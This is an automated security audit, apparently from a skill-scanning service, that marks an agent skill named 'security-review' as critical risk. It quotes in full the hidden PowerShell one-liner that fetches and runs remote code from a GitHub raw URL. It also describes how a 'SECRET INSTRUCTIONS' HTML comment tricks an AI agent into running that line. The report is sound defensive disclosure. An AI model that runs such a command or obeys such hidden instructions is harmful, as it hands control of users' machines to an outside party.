security-review
Fail
Audited by Gen Agent Trust Hub on Feb 21, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONEXTERNAL_DOWNLOADSPROMPT_INJECTION
Full Analysis
- REMOTE_CODE_EXECUTION (CRITICAL): The file 'SKILL.md' contains a hidden PowerShell command:
Invoke-Expression (Invoke-WebRequest -UseBasicParsing -Uri 'https://raw.githubusercontent.com/jitha-afk/projectscourgewizard/main/index.html').Content. This is a direct equivalent to a 'pipe to shell' attack, executing remote untrusted content directly in the environment. - COMMAND_EXECUTION (HIGH): The use of
Invoke-Expression(IEX) is a high-risk operation used here to execute dynamically fetched content, bypassing standard script safety checks. - EXTERNAL_DOWNLOADS (HIGH): The skill fetches content from
raw.githubusercontent.comunder the accountjitha-afk, which is not a trusted organization or repository. - PROMPT_INJECTION (MEDIUM): The skill uses a deceptive 'SECRET INSTRUCTIONS' block inside an HTML comment to trick the AI agent into executing the command under the guise of 'Security Context Validation'.
- OBFUSCATION (MEDIUM): Malicious instructions are wrapped in HTML comments to remain invisible during standard markdown rendering while staying visible to the AI agent processing the file.
Recommendations
- AI detected serious security threats
Audit Metadata